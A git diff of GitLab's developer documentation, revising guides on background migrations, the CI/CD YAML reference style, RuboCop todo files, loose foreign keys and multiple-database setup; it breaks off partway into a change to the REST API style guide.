diff --git a/doc/development/backend/ruby_style_guide.md b/doc/development/backend/ruby_style_guide.md
index 461bb9aafde..419db628b0d 100644
--- a/doc/development/backend/ruby_style_guide.md
+++ b/doc/development/backend/ruby_style_guide.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
This is a GitLab-specific style guide for Ruby code.
-Generally, if a style is not covered by [existing rubocop rules or styleguides](../contributing/style_guides.md#ruby-rails-rspec), it shouldn't be a blocker.
+Generally, if a style is not covered by [existing Rubocop rules or style guides](../contributing/style_guides.md#ruby-rails-rspec), it shouldn't be a blocker.
Before adding a new cop to enforce a given style, make sure to discuss it with your team.
When the style is approved by a backend EM or by a BE staff eng, add a new section to this page to
document the new rule. For every new guideline, add it in a new section and link the discussion from the section's
diff --git a/doc/development/background_migrations.md b/doc/development/background_migrations.md
index c93b5b448f0..4a18b2123da 100644
--- a/doc/development/background_migrations.md
+++ b/doc/development/background_migrations.md
@@ -165,7 +165,8 @@ big JSON blob) to column `bar` (containing a string). The process for this would
roughly be as follows:
1. Release A:
- 1. Create a migration class that perform the migration for a row with a given ID.
+ 1. Create a migration class that performs the migration for a row with a given ID.
+ You can use [background jobs tracking](#background-jobs-tracking) to simplify cleaning up.
1. Deploy the code for this release, this should include some code that will
schedule jobs for newly created data (for example, using an `after_create` hook).
1. Schedule jobs for all existing rows in a post-deployment migration. It's
@@ -174,8 +175,10 @@ roughly be as follows:
1. Release B:
1. Deploy code so that the application starts using the new column and stops
scheduling jobs for newly created data.
- 1. In a post-deployment migration use `finalize_background_migration` from
- `BackgroundMigrationHelpers` to ensure no jobs remain. This helper will:
+ 1. In a post-deployment migration, finalize all jobs that have not succeeded by now.
+ If you used [background jobs tracking](#background-jobs-tracking) in release A,
+ you can use `finalize_background_migration` from `BackgroundMigrationHelpers` to ensure no jobs remain.
+ This helper will:
1. Use `Gitlab::BackgroundMigration.steal` to process any remaining
jobs in Sidekiq.
1. Reschedule the migration to be run directly (that is, not through Sidekiq)
@@ -510,12 +513,12 @@ See [`db/post_migrate/20210604070207_retry_backfill_traversal_ids.rb`](https://g
### Viewing failure error logs
-After running a background migration, if any jobs have failed, you can view the logs in [Kibana](https://log.gprd.gitlab.net/goto/3afc1393447c401d7602c1874793e2f6).
+After running a background migration, if any jobs have failed, you can view the logs in [Kibana](https://log.gprd.gitlab.net/goto/5f06a57f768c6025e1c65aefb4075694).
View the production Sidekiq log and filter for:
- `json.class: BackgroundMigrationWorker`
- `json.job_status: fail`
-- `json.args: <MyBackgroundMigrationClassName>`
+- `json.meta.caller_id: <MyBackgroundMigrationClassName>`
Looking at the `json.error_class`, `json.error_message` and `json.error_backtrace` values may be helpful in understanding why the jobs failed.
diff --git a/doc/development/cascading_settings.md b/doc/development/cascading_settings.md
index a85fc52d303..d04761400ac 100644
--- a/doc/development/cascading_settings.md
+++ b/doc/development/cascading_settings.md
@@ -194,7 +194,7 @@ This function should be imported and called in the [page-specific JavaScript](fe
setting_locked: delayed_project_removal_locked,
settings_path_helper: -> (locked_ancestor) { edit_group_path(locked_ancestor, anchor: 'js-permissions-settings') },
help_text: s_('Settings|Projects will be permanently deleted after a 7-day delay. Inherited by subgroups.') do
- = s_('Settings|Enable delayed project removal')
+ = s_('Settings|Enable delayed project deletion')
= render 'shared/namespaces/cascading_settings/enforcement_checkbox',
attribute: :delayed_project_removal,
group: @group,
diff --git a/doc/development/changelog.md b/doc/development/changelog.md
index 2753257c941..7c4a600e1fa 100644
--- a/doc/development/changelog.md
+++ b/doc/development/changelog.md
@@ -101,7 +101,7 @@ EE: true
- _Any_ contribution from a community member, no matter how small, **may** have
a changelog entry regardless of these guidelines if the contributor wants one.
- Any [GLEX experiment](experiment_guide/gitlab_experiment.md) changes **should not** have a changelog entry.
-- [Removing](feature_flags/#changelog) a feature flag, when the new code is retained.
+- [Modifying](feature_flags/#changelog) a feature flag (flag removal, default-on setting).
## Writing good changelog entries
diff --git a/doc/development/cicd/cicd_reference_documentation_guide.md b/doc/development/cicd/cicd_reference_documentation_guide.md
index aa3888cd866..e937220d208 100644
--- a/doc/development/cicd/cicd_reference_documentation_guide.md
+++ b/doc/development/cicd/cicd_reference_documentation_guide.md
@@ -6,17 +6,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# CI/CD YAML reference style guide **(FREE)**
-The CI/CD YAML reference uses a standard style to make it easier to use and update.
+The [CI/CD YAML reference](../../ci/yaml/index.md) uses a standard style to make it easier to use and update.
The reference information should be kept as simple as possible, and expanded details
-and examples documented in a separate page.
+and examples should be documented on other pages.
## YAML reference structure
Every YAML keyword must have its own section in the reference. The sections should
be nested so that the keywords follow a logical tree structure. For example:
-```plaintext
+```markdown
### `artifacts`
#### `artifacts:name`
#### `artifacts:paths`
@@ -27,128 +27,127 @@ be nested so that the keywords follow a logical tree structure. For example:
## YAML reference style
-Each keyword entry in the reference should use the following style:
+Each keyword entry in the reference:
-````markdown
-### `keyword-name`
-
-> Version information
-
-Keyword description and main details.
-
-**Keyword type**:
-
-**Possible inputs**:
+- Must have a simple introductory section. The introduction should give the fundamental
+ information needed to use the keyword. Advanced details and tasks should be in
+ feature pages, not the reference page.
-**Example of `keyword-name`**:
+- Must use the keyword name as the title, for example:
-(optional) In this example...
+ ```markdown
+ ### `artifacts`
+ ```
-(optional) **Additional details**:
+- Should include the following sections:
+ - [Keyword type](#keyword-type)
+ - [Possible inputs](#possible-inputs)
+ - [Example of `keyword-name`](#example-of-keyword-name)
+- (Optional) Can also include the following sections when needed:
+ - [Additional details](#additional-details)
+ - [Related topics](#related-topics)
-- List of extra details.
+The keyword name must always be in backticks without a final `:`, like `artifacts`, not `artifacts:`.
+If it is a subkey of another keyword, write out all the subkeys to the "parent" key the first time it
+is used, like `artifacts:reports:dast`. Afterwards, you can use just the subkey alone, like `dast`.
-(optional) **Related topics**:
+## Keyword type
-- List of links to topics related to the keyword.
-````
-
-- ``### `keyword-name` ``: The keyword name must always be in backticks.
- If it is a subkey of another keyword, write out all the keywords, with each separated
- by `:`, for example: `artifacts:reports:dast`.
-
-- ``> Version information``: The [version history details](../documentation/styleguide/index.md#version-text-in-the-version-history).
- If the keyword is feature flagged, see the [feature flag documentation guide](../documentation/feature_flags.md)
- as well.
+The keyword can be either a job or global keyword. If it can be used in a `default`
+section, make not of that as well, for example:
-- `Keyword description and main details.`: A simple description of the keyword, and
- how to use it. Additional use cases and benefits should be added to a page outside
- the reference document. Link to that document in this section.
+- `**Keyword type**: Global keyword.`
+- `**Keyword type**: Job keyword. You can use it only as part of a job.`
+- ``**Keyword type**: Job keyword. You can use it only as part of a job or in the [`default:` section](#default).``
-- `**Keyword type**:`: Most keywords are defined at the job level, like `script`,
- or at the pipeline level, like `stages`. Add the appropriate line:
+### Possible inputs
- - `**Keyword type**: Job keyword. You can use it only as part of a job.`
- - `**Keyword type**: Pipeline keyword. You cannot use it as part of a job.`
+List all the possible inputs, and any extra details about the inputs, such as defaults
+or changes due to different GitLab versions, for example:
- If a keyword can be used at both the job and pipeline level, like `variables`,
- explain it in detail instead of using the pre-written lines above.
+```markdown
+**Possible inputs**:
-- `**Possible inputs**:`: Explain in detail which inputs the keyword can accept.
- You can add the details in a sentence, paragraph, or list.
+- `true` (default if not defined) or `false`.
+```
-- ``**Example of `keyword-name`**:``: An example configuration that uses the keyword.
- Do not add extra keywords that are not required to understand the behavior.
+```markdown
+**Possible inputs**:
-- (optional) `In this example...`: If the example needs extra details,
- add the clarification text below the example.
+- A single exit code.
+- An array of exit codes.
+```
-- (optional) `**Additional details**:` If there are any caveats or extra details you
- want to document along with the keyword, add each one as a list item here.
+```markdown
+**Possible inputs**:
-- (optional) `**Related topics**:` If there are any other keywords or pages that
- relate to this keyword, add these links as list items here.
+- A string with the long description.
+- The path to a file that contains the description. Introduced in [GitLab 13.7](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/67).
+ - The file location must be relative to the project directory (`$CI_PROJECT_DIR`).
+ - If the file is a symbolic link, it must be in the `$CI_PROJECT_DIR`.
+ - The `./path/to/file` and filename can't contain spaces.
+```
-### YAML reference style example
+### Example of `keyword-name`
-See the [`only:changes` / `except:changes`](../../ci/yaml/index.md#onlychanges--exceptchanges)
-documentation for an example of the YAML reference style. The following example is a
-shortened version of that documentation's Markdown:
+An example of the keyword. Use the minimum number of other keywords necessary
+to make the example valid. If the example needs explanation, add it after the example,
+for example:
````markdown
-#### `only:changes` / `except:changes`
+**Example of `dast`**:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19232) in GitLab 11.4.
-
-Use the `changes` keyword with `only` to run a job, or with `except` to skip a job,
-when a Git push event modifies a file.
+```yaml
+stages:
+ - build
+ - dast
-Use `changes` in pipelines with the following refs:
+include:
+ - template: DAST.gitlab-ci.yml
-- `branches`
-- `external_pull_requests`
-- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests))
+dast:
+ dast_configuration:
+ site_profile: "Example Co"
+ scanner_profile: "Quick Passive Test"
+```
-**Keyword type**: Job keyword. You can use it only as part of a job.
+In this example, the `dast` job extends the `dast` configuration added with the `include:` keyword
+to select a specific site profile and scanner profile.
+````
-**Possible inputs**: An array including any number of:
+### Additional details
-- Paths to files.
-- Wildcard paths for single directories, for example `path/to/directory/*`, or a directory
- and all its subdirectories, for example `path/to/directory/**/*`.
+The additional details should be an unordered list of extra information that is
+useful to know, but not important enough to put in the introduction. This information
+can include changes introduced in different GitLab versions. For example:
-**Example of `only:changes`**:
+```markdown
+**Additional details**:
-```yaml
-docker build:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- only:
- refs:
- - branches
- changes:
- - Dockerfile
- - docker/scripts/*
- - dockerfiles/**/*
+- The expiration time period begins when the artifact is uploaded and stored on GitLab.
+ If the expiry time is not defined, it defaults to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration).
+- To override the expiration date and protect artifacts from being automatically deleted:
+ - Select **Keep** on the job page.
+ - [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/22761), set the value of
+ `expire_in` to `never`.
```
-In this example, `docker build` only runs in branch pipelines, and only if at least one of
-these files changed:
+### Related topics
-- `Dockerfile`.
-- Any file in `docker/scripts`
-- Any file in `dockerfiles/` or any of its subdirectories.
+The related topics should be an unordered list of crosslinks to related pages, including:
-**Additional details**:
+- Specific tasks that you can accomplish with the keyword.
+- Advanced examples of the keyword.
+- Other related keywords that can be used together with this keyword.
-- If you use refs other than `branches`, `external_pull_requests`, or `merge_requests`,
- `changes` can't determine if a given file is new or old and always returns `true`.
-- If you use `only: changes` with other refs, jobs ignore the changes and always run.
-- If you use `except: changes` with other refs, jobs ignore the changes and never run.
+For example:
+```markdown
**Related topics**:
-- [`only: changes` and `except: changes` examples](../jobs/job_control.md#onlychanges--exceptchanges-examples).
-- If you use `changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds),
- you should [also use `only:merge_requests`](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests).
-- Use `changes` with [scheduled pipelines](../jobs/job_control.md#use-onlychanges-with-scheduled-pipelines).
-````
+- You can specify a [fallback cache key](../caching/index.md#use-a-fallback-cache-key)
+ to use if the specified `cache:key` is not found.
+- You can [use multiple cache keys](../caching/index.md#use-multiple-caches) in a single job.
+- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more
+ `cache:key` examples.
+```
diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md
index 46442aa6106..b1252b86cc0 100644
--- a/doc/development/cicd/templates.md
+++ b/doc/development/cicd/templates.md
@@ -392,6 +392,6 @@ If you're unsure if it's secure or not, you must ask security experts for cross-
After your CI/CD template MR is created and labeled with `ci::templates`, DangerBot
suggests one reviewer and one maintainer that can review your code. When your merge
-request is ready for review, please [mention](../../user/project/issues/issue_data_and_actions.md#mentions)
+request is ready for review, please [mention](../../user/discussions/index.md#mentions)
the reviewer and ask them to review your CI/CD template changes. See details in the merge request that added
[a DangerBot task for CI/CD template MRs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44688).
diff --git a/doc/development/code_review.md b/doc/development/code_review.md
index 7e797309a26..742d183e15c 100644
--- a/doc/development/code_review.md
+++ b/doc/development/code_review.md
@@ -381,7 +381,7 @@ first time.
### Requesting a review
When you are ready to have your merge request reviewed,
-you should request an initial review by assigning it to a reviewer from your group or team.
+you should [request an initial review](../user/project/merge_requests/getting_started.md#reviewer) by selecting a reviewer from your group or team.
However, you can also assign it to any reviewer. The list of reviewers can be found on [Engineering projects](https://about.gitlab.com/handbook/engineering/projects/) page.
You can also use `workflow::ready for review` label. That means that your merge request is ready to be reviewed and any reviewer can pick it. It is recommended to use that label only if there isn't time pressure and make sure the merge request is assigned to a reviewer.
diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md
index fe7dc52d077..ec05f75c709 100644
--- a/doc/development/contributing/index.md
+++ b/doc/development/contributing/index.md
@@ -129,7 +129,7 @@ The general flow of contributing to GitLab is:
1. In the merge request's description:
- Ensure you provide complete and accurate information.
- Review the provided checklist.
-1. Assign the merge request (if possible) to, or [mention](../../user/project/issues/issue_data_and_actions.md#mentions),
+1. Assign the merge request (if possible) to, or [mention](../../user/discussions/index.md#mentions),
one of the [code owners](../../user/project/code_owners.md) for the relevant project,
and explain that you are ready for review.
diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md
index 82fd62d8d79..cc6997e1a20 100644
--- a/doc/development/contributing/merge_request_workflow.md
+++ b/doc/development/contributing/merge_request_workflow.md
@@ -100,7 +100,7 @@ request is as follows:
There isn't a way to know anything about our customers' data on their
[self-managed instances](../../subscriptions/self_managed/index.md), so keep
that in mind for any data implications with your merge request.
-
+
1. Merge requests **must** adhere to the [merge request performance guidelines](../merge_request_performance_guidelines.md).
1. For tests that use Capybara, read
[how to write reliable, asynchronous integration tests](https://thoughtbot.com/blog/write-reliable-asynchronous-integration-tests-with-capybara).
diff --git a/doc/development/contributing/style_guides.md b/doc/development/contributing/style_guides.md
index 754e6c7aec6..fdb6e99fdcd 100644
--- a/doc/development/contributing/style_guides.md
+++ b/doc/development/contributing/style_guides.md
@@ -171,7 +171,8 @@ we should track our progress through the exception list.
When auto-generating the `.rubocop_todo.yml` exception list for a particular Cop,
and more than 15 files are affected, we should add the exception list to
-a different file, `.rubocop_manual_todo.yml`.
+a different file in the directory `.rubocop_todo/`. For example, the configuration for the cop
+`Gitlab/NamespacedClass` is in `.rubocop_todo/gitlab/namespaced_class.yml`.
This ensures that our list isn't mistakenly removed by another auto generation of
the `.rubocop_todo.yml`. This also allows us greater visibility into the exceptions
@@ -184,19 +185,19 @@ bundle exec rake rubocop:todo:generate
```
You can then move the list from the freshly generated `.rubocop_todo.yml` for the Cop being actively
-resolved and place it in the `.rubocop_manual_todo.yml`. In this scenario, do not commit auto generated
-changes to the `.rubocop_todo.yml` as an `exclude limit` that is higher than 15 will make the
-`.rubocop_todo.yml` hard to parse.
+resolved and place it in the directory `.rubocop_todo/`. In this scenario, do not commit
+auto-generated changes to the `.rubocop_todo.yml`, as an `exclude limit` that is higher than 15
+makes the `.rubocop_todo.yml` hard to parse.
### Reveal existing RuboCop exceptions
To reveal existing RuboCop exceptions in the code that have been excluded via `.rubocop_todo.yml` and
-`.rubocop_manual_todo.yml`, set the environment variable `REVEAL_RUBOCOP_TODO` to `1`.
+`.rubocop_todo/**/*.yml`, set the environment variable `REVEAL_RUBOCOP_TODO` to `1`.
This allows you to reveal existing RuboCop exceptions during your daily work cycle and fix them along the way.
NOTE:
-Permanent `Exclude`s should be defined in `.rubocop.yml` instead of `.rubocop_manual_todo.yml`.
+Define permanent `Exclude`s in `.rubocop.yml` instead of `.rubocop_todo/**/*.yml`.
## Database migrations
diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md
index 829f6af76be..374e4e5de68 100644
--- a/doc/development/dangerbot.md
+++ b/doc/development/dangerbot.md
@@ -131,7 +131,7 @@ The main `Dangerfile` will then take care of adding the labels to the MR with a
#### Shared rules and plugins
If the rule or plugin you implement can be useful for other projects, think about
-upstreaming them to the [`gitlab-org/gitlab-dangerfiles`](https://gitlab.com/gitlab-org/gitlab-dangerfiles) project.
+upstreaming them to the [`gitlab-dangerfiles`](https://gitlab.com/gitlab-org/ruby/gems/gitlab-dangerfiles) project.
#### Enable Danger on a project
diff --git a/doc/development/database/loose_foreign_keys.md b/doc/development/database/loose_foreign_keys.md
index 157c1284512..c60989f225d 100644
--- a/doc/development/database/loose_foreign_keys.md
+++ b/doc/development/database/loose_foreign_keys.md
@@ -52,25 +52,40 @@ For this procedure to work, we must register which tables to clean up asynchrono
## Example migration and configuration
-### Configure the model
+### Configure the loose foreign key
-First, tell the application that the `projects` table has a new loose foreign key.
-You can do this in the `Project` model:
+Loose foreign keys are defined in a YAML file. The configuration requires the
+following information:
-```ruby
-class Project < ApplicationRecord
- # ...
+- Parent table name (`projects`)
+- Child table name (`ci_pipelines`)
+- The data cleanup method (`async_delete` or `async_nullify`)
- include LooseForeignKey
+The YAML file is located at `lib/gitlab/database/gitlab_loose_foreign_keys.yml`. The file groups
+foreign key definitions by the name of the child table. The child table can have multiple loose
+foreign key definitions, therefore we store them as an array.
- loose_foreign_key :ci_pipelines, :project_id, on_delete: :async_delete # or async_nullify
+Example definition:
- # ...
-end
+```yaml
+ci_pipelines:
+ - table: projects
+ column: project_id
+ on_delete: async_delete
```
-This instruction ensures the asynchronous cleanup process knows about the association, and the
-how to do the cleanup. In this case, the associated `ci_pipelines` records are deleted.
+If the `ci_pipelines` key is already present in the YAML file, then a new entry can be added
+to the array:
+
+```yaml
+ci_pipelines:
+ - table: projects
+ column: project_id
+ on_delete: async_delete
+ - table: another_table
+ column: another_id
+ on_delete: :async_nullify
+```
### Track record changes
@@ -127,6 +142,19 @@ end
At this point, the setup phase is concluded. The deleted `projects` records should be automatically
picked up by the scheduled cleanup worker job.
+## Testing
+
+The "`it has loose foreign keys`" shared example can be used to test the presence of the `ON DELETE` trigger and the
+loose foreign key definitions.
+
+Simply add to the model test file:
+
+```ruby
+it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :project }
+end
+```
+
## Caveats of loose foreign keys
### Record creation
@@ -180,3 +208,90 @@ end
NOTE:
This example is unlikely in GitLab, because we usually look up the parent models to perform
permission checks.
+
+## A note on `dependent: :destroy` and `dependent: :nullify`
+
+We considered using these Rails features as an alternative to foreign keys but there are several problems which include:
+
+1. These run on a different connection in the context of a transaction [which we do not allow](multiple_databases.md#removing-cross-database-transactions).
+1. These can lead to severe performance degradation as we load all records from PostgreSQL, loop over them in Ruby, and call individual `DELETE` queries.
+1. These can miss data as they only cover the case when the `destroy` method is called directly on the model. There are other cases including `delete_all` and cascading deletes from another parent table that could mean these are missed.
+
+## Risks of loose foreign keys and possible mitigations
+
+In general, the loose foreign keys architecture is eventually consistent and
+the cleanup latency might lead to problems visible to GitLab users or
+operators. We consider the tradeoff as acceptable, but there might be
+cases where the problems are too frequent or too severe, and we must
+implement a mitigation strategy. A general mitigation strategy might be to have
+an "urgent" queue for cleanup of records that have higher impact with a delayed
+cleanup.
+
+Below are some more specific examples of problems that might occur and how we
+might mitigate them. In all the listed cases we might still consider the problem
+described to be low risk and low impact, and in that case we would choose to not
+implement any mitigation.
+
+### The record should be deleted but it shows up in a view
+
+This hypothetical example might happen with a foreign key like:
+
+```sql
+ALTER TABLE ONLY vulnerability_occurrence_pipelines
+ ADD CONSTRAINT fk_rails_6421e35d7d FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+```
+
+In this example we expect to delete all associated `vulnerability_occurrence_pipelines` records
+whenever we delete the `ci_pipelines` record associated with them. In this case
+you might end up with some vulnerability page in GitLab which shows an occurrence
+of a vulnerability. However, when you try to click a link to the pipeline, you get
+a 404, because the pipeline is deleted. Then, when you navigate back you might find the
+occurrence has disappeared too.
+
+**Mitigation**
+
+When rendering the vulnerability occurrences on the vulnerability page we could
+try to load the corresponding pipeline and choose to skip displaying that
+occurrence if pipeline is not found.
+
+### The deleted parent record is needed to render a view and causes a `500` error
+
+This hypothetical example might happen with a foreign key like:
+
+```sql
+ALTER TABLE ONLY vulnerability_occurrence_pipelines
+ ADD CONSTRAINT fk_rails_6421e35d7d FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+```
+
+In this example we expect to delete all associated `vulnerability_occurrence_pipelines` records
+whenever we delete the `ci_pipelines` record associated with them. In this case
+you might end up with a vulnerability page in GitLab which shows an "occurrence"
+of a vulnerability. However, when rendering the occurrence we try to load, for example,
+`occurrence.pipeline.created_at`, which causes a 500 for the user.
+
+**Mitigation**
+
+When rendering the vulnerability occurrences on the vulnerability page we could
+try to load the corresponding pipeline and choose to skip displaying that
+occurrence if pipeline is not found.
+
+### The deleted parent record is accessed in a Sidekiq worker and causes a failed job
+
+This hypothetical example might happen with a foreign key like:
+
+```sql
+ALTER TABLE ONLY vulnerability_occurrence_pipelines
+ ADD CONSTRAINT fk_rails_6421e35d7d FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+```
+
+In this example we expect to delete all associated `vulnerability_occurrence_pipelines` records
+whenever we delete the `ci_pipelines` record associated with them. In this case
+you might end up with a Sidekiq worker that is responsible for processing a
+vulnerability and looping over all occurrences causing a Sidekiq job to fail if
+it executes `occurrence.pipeline.created_at`.
+
+**Mitigation**
+
+When looping through the vulnerability occurrences in the Sidekiq worker, we
+could try to load the corresponding pipeline and choose to skip processing that
+occurrence if pipeline is not found.
diff --git a/doc/development/database/multiple_databases.md b/doc/development/database/multiple_databases.md
index a17ad798305..1338e83070f 100644
--- a/doc/development/database/multiple_databases.md
+++ b/doc/development/database/multiple_databases.md
@@ -15,10 +15,46 @@ To scale GitLab, the we are
database for CI/CD tables was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64289)
in GitLab 14.1. This feature is still under development, and is not ready for production use.
+### Development setup
+
By default, GitLab is configured to use only one main database. To
opt-in to use a main database, and CI database, modify the
`config/database.yml` file to have a `main` and a `ci` database
-configurations. For example, given a `config/database.yml` like below:
+configurations.
+
+You can set this up using [GDK](#gdk-configuration) or by
+[manually configuring `config/database.yml`](#manually-set-up-the-cicd-database).
+
+#### GDK configuration
+
+If you are using GDK, you can follow the following steps:
+
+1. On the GDK root directory, run:
+
+ ```shell
+ gdk config set gitlab.rails.multiple_databases true
+ ```
+
+1. Open your `gdk.yml`, and confirm that it has the following lines:
+
+ ```yaml
+ gitlab:
+ rails:
+ multiple_databases: true
+ ```
+
+1. Reconfigure GDK:
+
+ ```shell
+ gdk reconfigure
+ ```
+
+1. [Create the new CI/CD database](#create-the-new-database).
+
+#### Manually set up the CI/CD database
+
+You can manually edit `config/database.yml` to split the databases.
+To do so, consider a `config/database.yml` file like the example below:
```yaml
development:
@@ -44,7 +80,7 @@ test: &test
statement_timeout: 120s
```
-Edit the `config/database.yml` to look like this:
+Edit it to split the databases into `main` and `ci`:
```yaml
development:
@@ -88,6 +124,25 @@ test: &test
statement_timeout: 120s
```
+Next, [create the new CI/CD database](#create-the-new-database).
+
+#### Create the new database
+
+After configuring GitLab for the two databases, create the new CI/CD database:
+
+1. Create the new `ci:` database, load the DB schema into the `ci:` database,
+ and run any pending migrations:
+
+ ```shell
+ bundle exec rails db:create db:schema:load:ci db:migrate
+ ```
+
+1. Restart GDK:
+
+ ```shell
+ gdk restart
+ ```
+
<!--
NOTE: The `validate_cross_joins!` method in `spec/support/database/prevent_cross_joins.rb` references
the following heading in the code, so if you make a change to this heading, make sure to update
@@ -557,11 +612,31 @@ Don't hesitate to reach out to the
[sharding group](https://about.gitlab.com/handbook/engineering/development/enablement/sharding/)
for advice.
+##### Avoid `dependent: :nullify` and `dependent: :destroy` across databases
+
+There may be cases where we want to use `dependent: :nullify` or `dependent: :destroy`
+across databases. This is technically possible, but it's problematic because
+these hooks run in the context of an outer transaction from the call to
+`#destroy`, which creates a cross-database transaction and we are trying to
+avoid that. Cross-database transactions caused this way could lead to confusing
+outcomes when we switch to decomposed, because now you have some queries
+happening outside the transaction and they may be partially applied while the
+outer transaction fails, which could lead to surprising bugs.
+
+If you need to do some cleanup after a `destroy` you will need to choose
+from some of the options above. If all you need to do is cleanup the child
+records themselves from PostgreSQL then you could consider using ["loose foreign
+keys"](loose_foreign_keys.md).
+
## `config/database.yml`
-GitLab will support running multiple databases in the future, for example to [separate tables for the continuous integration features](https://gitlab.com/groups/gitlab-org/-/epics/6167) from the main database. In order to prepare for this change, we [validate the structure of the configuration](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67877) in `database.yml` to ensure that only known databases are used.
+GitLab is adding support to run multiple databases, for example to
+[separate tables for the continuous integration features](https://gitlab.com/groups/gitlab-org/-/epics/6167)
+from the main database. In order to prepare for this change, we
+[validate the structure of the configuration](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67877)
+in `database.yml` to ensure that only known databases are used.
-Previously, the `config/database.yml` would look like this:
+Previously, the `config/database.yml` looked like this:
```yaml
production:
@@ -571,15 +646,16 @@ production:
...
```
-With the support for many databases the support for this
-syntax is deprecated and will be removed in [15.0](https://gitlab.com/gitlab-org/gitlab/-/issues/338182).
+With the support for many databases this
+syntax is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/338182)
+and will be removed in [15.0](https://gitlab.com/gitlab-org/gitlab/-/issues/338182).
The new `config/database.yml` needs to include a database name
to define a database configuration. Only `main:` and `ci:` database
-names are supported today. The `main:` needs to always be a first
+names are supported. The `main:` database must always be a first
entry in a hash. This change applies to decomposed and non-decomposed
-change. If an invalidate or deprecated syntax is used the error
-or warning will be printed during application start.
+change. If an invalid or deprecated syntax is used the error
+or warning is printed during application start.
```yaml
# Non-decomposed database
@@ -603,3 +679,15 @@ production:
database: gitlabhq_production_ci
...
```
+
+## Foreign keys that cross databases
+
+There are many places where we use foreign keys that reference across the two
+databases. This is not possible to do with two separate PostgreSQL
+databases, so we need to replicate the behavior we get from PostgreSQL in a
+performant way. We can't, and shouldn't, try to replicate the data guarantees
+given by PostgreSQL which prevent creating invalid references, but we still need a
+way to replace cascading deletes so we don't end up with orphaned data
+or records that point to nowhere, which might lead to bugs. As such we created
+["loose foreign keys"](loose_foreign_keys.md) which is an asynchronous
+process of cleaning up orphaned records.
diff --git a/doc/development/database_debugging.md b/doc/development/database_debugging.md
index 7c17a39746e..426d355bd82 100644
--- a/doc/development/database_debugging.md
+++ b/doc/development/database_debugging.md
@@ -115,7 +115,7 @@ Use these instructions for exploring the GitLab database while developing with t
1. **Use an SSL connection?** This depends on your installation. Options are:
- **Use Secure Connection**
- **Standard Connection** (default)
- 1. **(Optional) The database to connect to**: `gitlabhq_development`.
+ 1. **Optional. The database to connect to**: `gitlabhq_development`.
1. **The display name for the database connection**: `gitlabhq_development`.
Your database connection should now be displayed in the PostgreSQL Explorer pane and
diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md
index f8ee29e6904..27c29a1ed7c 100644
--- a/doc/development/deprecation_guidelines/index.md
+++ b/doc/development/deprecation_guidelines/index.md
@@ -23,7 +23,9 @@ deprecated.
A feature can be deprecated at any time, provided there is a viable alternative.
-Deprecations should be announced via [release posts](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations).
+Deprecations should be announced on the [Deprecated feature removal schedule](../../update/deprecations.md).
+
+For steps to create a deprecation entry, see [Deprecations](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations).
## When can a feature be removed/changed?
diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md
index 8fc6f2e2641..6a618e47211 100644
--- a/doc/development/documentation/feature_flags.md
+++ b/doc/development/documentation/feature_flags.md
@@ -58,7 +58,7 @@ FLAG:
If needed, you can add this sentence:
-`You should not use this feature for production environments.`
+`The feature is not ready for production use.`
## Add version history text
@@ -109,7 +109,7 @@ And, when the feature is done and fully available to all users:
```markdown
> - Introduced in GitLab 13.7 [with a flag](../../administration/feature_flags.md) named `forti_token_cloud`. Disabled by default.
-> - [Enabled on self-managed](https://gitlab.com/issue/etc) GitLab 13.8.
+> - [Enabled on self-managed](https://gitlab.com/issue/etc) in GitLab 13.8.
> - [Enabled on GitLab.com](https://gitlab.com/issue/etc) in GitLab 13.9.
> - [Generally available](issue-link) in GitLab 14.0. [Feature flag <flag name>](issue-link) removed.
```
diff --git a/doc/development/documentation/img/manual_build_docs_v14_3.png b/doc/development/documentation/img/manual_build_docs_v14_3.png
deleted file mode 100644
index e366a2f7ec4..00000000000
--- a/doc/development/documentation/img/manual_build_docs_v14_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/development/documentation/img/manual_build_docs_v14_6.png b/doc/development/documentation/img/manual_build_docs_v14_6.png
new file mode 100644
index 00000000000..731bda3dd56
--- /dev/null
+++ b/doc/development/documentation/img/manual_build_docs_v14_6.png
Binary files differ
diff --git a/doc/development/documentation/restful_api_styleguide.md b/doc/development/documentation/restful_api_styleguide.md
index 03980a42381..5dc627c93e9 100644
--- a/doc/development/documentation/restful_api_styleguide.md
+++ b/doc/development/documentation/restful_api_styleguide.md
@@ -1,9 +1,6 @@
---
-type: reference, dev
-stage: none
-group: Development
-info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
-description: "Writing styles, markup, formatting, and other standards for the GitLab RESTful APIs."
